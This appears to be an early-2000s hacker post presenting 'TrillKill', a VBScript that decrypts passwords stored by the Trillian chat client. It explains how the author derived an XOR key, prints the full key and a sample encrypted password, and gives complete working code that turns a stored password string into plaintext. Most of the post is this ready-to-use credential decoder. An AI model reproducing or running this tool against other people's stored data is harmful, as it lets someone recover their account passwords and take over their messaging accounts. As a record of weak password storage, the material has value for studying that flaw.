name:    TrillKill-the trillian password decoder
date:    03/12/01 
author:  piranicon

Well heres another script to decrypt the Trillian passwords.
This actually started off as a VB app to decode/encode the passwords, but i was inspired by ("F.O.S.K" & "SURGE")'s trillian script to convert mine into a vbs file instead of an actual exe. It turns out by doing so it got a lot more compact. Thanks to ("F.O.S.K" & "SURGE") for coming up with the other method of decrypting.

How it came to be:
After reading an article about the insecure Trillian passwords i decided to toy around with it. I figured out every two characters in the password combine to form a hex value. If you dig a little deeper you'll discover that if you XOR each hex value with a certain other hex value you get a character in the password. So i found out the yahoo password will let you enter a very very long password string. I used this to my advantage and typed in a long string of characters. Took the encrypted info, XOR'd it with the original string and magically i got the key to decrypt up to 83 character passwords. Theres not really a need for all this but, hey what the hell. Well on to the code. Try this password out:
9B43F3A14AA6BAB207C6CB9F7316FA12672070617373886F72E420696EA0F4689A207961E86FEF20F0E1737377EF8D64A0629078


-------- TrillKill.VBS --------

Dim key, keys, pwd, pwds, pwdl, maxval, goods, x

'Heres the key that i pulled out of trillian using the method described above.
key = "243,038,129,196,057,134,219,146,113,163,185,230,083,122,149," & _
      "124,000,000,000,000,000,000,255,000,000,128,000,000,000,128," & _
      "128,000,255,000,000,000,128,000,128,000,128,128,000,000,000," & _
      "128,255,000,128,000,255,000,128,128,128,000,085,110,097,098," & _
      "108,101,032,116,111,032,114,101,115,111,108,118,101,032,072," & _
      "084,084,080,032,112,114,111,120,000"

keys = split(key, ",")
main()

sub main()
	pwd = ""
	pwd = inputbox("Enter the trillian password" & vbcrlf & _
                       "up to " & ubound(keys) & " characters.", "TrillKill", "")
	if pwd = "" then exit sub
	
	pwd = trim(pwd)
	pwdl = len(pwd)/2
	redim pwds(pwdl-1)

	for x = 0 to ubound(pwds)
		'msgbox mid(pwd,(x * 2)+1,2)
		pwds(x) = int("&h" & mid(pwd,(x * 2)+1,2))
	next

	if ubound(pwds) > ubound(keys) then 
		maxval = ubound(keys)
	else 
		maxval = ubound(pwds)
	end if
	
	for x = 0 to maxval
		goods = goods & chr(pwds(x) xor keys(x))
	next

	inputbox "Heres the goods for you.","TrillKill",goods
end sub